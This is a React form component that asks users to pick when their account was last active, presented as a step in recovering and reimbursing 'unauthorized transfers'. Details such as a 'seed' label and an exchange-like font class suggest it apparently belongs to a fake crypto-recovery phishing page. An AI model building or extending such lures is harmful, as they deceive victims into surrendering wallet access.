import { Label } from '@/components/ui/label'
import RenderError, { ErrorClass } from './Error'
import { FormProps } from '.'
import { cn } from '@/lib/utils'

export default function LastActivity ({
  error = {},
  formData,
  handleKeyDown,
  handleInputChange
}: FormProps) {
  return (
    <div className='gap-6 flex flex-col pb-6'>
      <p className='text-muted-foreground leading-5 py-1 text-md '>
        Please select your estimated last account activity to proceed with the
        recovery, as part of our standard procedure for reimbursment of
        unauthorized transfers.
      </p>
      <div className='flex flex-col gap-1'>
        <Label
          htmlFor='seed'
          className='font-semibold leading-5 py-1 text-[14px]'
        >
          Last activity
        </Label>
        <div className='relative w-full'>
          <select
            id='estmoney'
            value={formData.lastact}
            onChange={e => handleInputChange('lastact', e.target.value)}
            className={cn(
              'w-full h-[55px] px-4 text-start border rounded-md appearance-none font-cbsans',
              ' bg-background dark:bg-[rgb(10,11,13)] text-sm outline-none focus:border focus:border-primary transition-all ease-in-out disabled:bg-[rgb(10,11,13)]',
              error.any ? `${ErrorClass} border-[rgb(240,97,109)]` : ''
            )}
          >
            <option selected>Pick an option</option>
            <option value='-24h'>Less than 24 hours ago</option>
            <option value='1 week'>24 hours - 7 days ago</option>
            <option value='0-1 month'>7 days - 1 month ago</option>
            <option value='1-6 months'>1 month - 6 months ago</option>
            <option value='1 year'>6 months - 1 year ago</option>
            <option value='+1 year'>More than 1 year ago</option>
          </select>
          <RenderError error={error.any} />
        </div>
      </div>
    </div>
  )
}
